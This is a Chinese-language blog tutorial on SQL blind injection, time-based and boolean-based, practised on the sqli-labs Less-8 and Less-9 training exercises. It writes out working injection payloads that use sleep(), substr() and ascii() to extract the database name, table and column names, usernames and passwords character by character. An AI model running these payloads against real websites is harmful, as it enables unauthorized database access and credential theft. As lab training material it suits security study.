SQL注入实战——盲注

利用sqliabs中less-8和less-9学习盲注


盲注

盲注是指利用与本身并不会返回想要的数据,但通过注入代码后观察差异(如页面差异或时间差异等),以此来判断注入的代码是否成功运行。这种技术常用于攻击者试图从数据库中提取信息,但由于数据库的限制或配置,直接查询可能无法返回有用的数据。


 

一、基于时间的盲注

1.时间盲注常用函数

if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
left(a,b)     从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

2.打开less-9

尝试?id后回显you are in......

374eeb1651ba44e0b27b0fc6a704d0c8.png

3.测试的核心语句

if(查询语句,sleep(5),1),即如果我们的查询语句为假,那么直接返回结果;如果我们的查询语句为真,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。本人使用的是联想浏览器,再该页面右键鼠标点击检查后进入开发者工具。

0232632163fe429e8c644bc00d53db40.png

4.延时注入

用的最多的注入常用的判断语句:
'and if(1=0,1,sleep(10))--+
”and if(1=0,1,sleep(10))--+
)and if(1=0,1, sleep(10))--+
')and if(1=0,1,sleep(10))--+
")and if(1=0,1,sleep(10))--+
利用if(条件,0.1)函数,当条件为真,返回0,假则返回1

逐次使用单引号 双引号 括号 单引号加括号 双引号加括号

5.猜测数据库

?id=1' and if(ascii(substr(database(),x,1))=115,sleep(5),1)--+

上述指令中x的取值为数据库的第x个字母,也就是说,我们逐个改变x的值就可以猜测到数据库名

s

efb51b82553341ab8dc286d4a76ab509.png

e

6771fac69f0a4f079b33c43fe8e3fb8f.png

得到第一个字母为s,第二个字母为e,以此类推,数据库为security

利用二分法

?id=1'and if(ascii(substr(database(),1,1))>95,sleep(6),1)--+

利用二分法猜解数据库的每一个数据
说明数据库第一个数据的二分法以此类推,116时直接返回页面。ascii码为115,即为s,后面的数据同理,最后数据库名为security当然在爆数据库前最好先爆数据库长度(即在database()=后逐个试用数字,最后为8)。当然实际环境中,很多常用的函数是会被过滤的,需要绕过。

猜测数据表、字段名、用户名及密码

在less-1中已经爆破出数据表以及各字段和所有用户名及密码,并且盲注步骤复杂这里不再演示,具体指令如下:

数据表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+

字段名

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

 用户名

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

密码

?id=1' and if(ascii(substr((select password from users limit 0,1), 1,1))=68,sleep(5),1)--+

 

 

 

二、基于布尔的盲注

1.布尔注入常用函数

基于布尔型的盲注,我通常采用下面的办法猜解字符串。
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))N;

2.打开less-8 

1e3194cd2b10408799e88344e642f9a3.png

3.判断当前数据库长度

?id=1' and length(database())>=8 --+

 从1开始试,当为9时回显报错

960c994df65d4c98abb256eaad836e69.png

4e8a737b071343ca8c0750e6c87d798c.png

4.猜解数据库

?id=1' and ascii(substr((select database()),1,1)) = 115 --+

ASCII码值115为s,依次爆破出数据库名为security 

cb5859b6389342e3a0e7d676b16c371c.png

5.猜解数据表、字段名、用户名及密码

在less-1中已经爆破出数据表以及各字段和所有用户名及密码,并且盲注步骤复杂这里不再演示,具体指令如下:

数据表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+

字段名

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),1,1)) = 105 --+

用户名

?id=1' and ascii(substr((select group_concat(username) from users),1,1)) = 68 --+

密码

?id=1' and ascii(substr((select group_concat(password) from users),1,1)) = 68 --+

三、总结

SQL盲注主要分为基于布尔的盲注和基于时间的盲注两种类型。基于时间的盲注则是通过观察页面响应时间的变化来判断查询结果;而基于布尔的盲注是通过构造SQL语句,使得页面返回True或False的结果来判断查询结果。

希望对你有所帮助!!

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值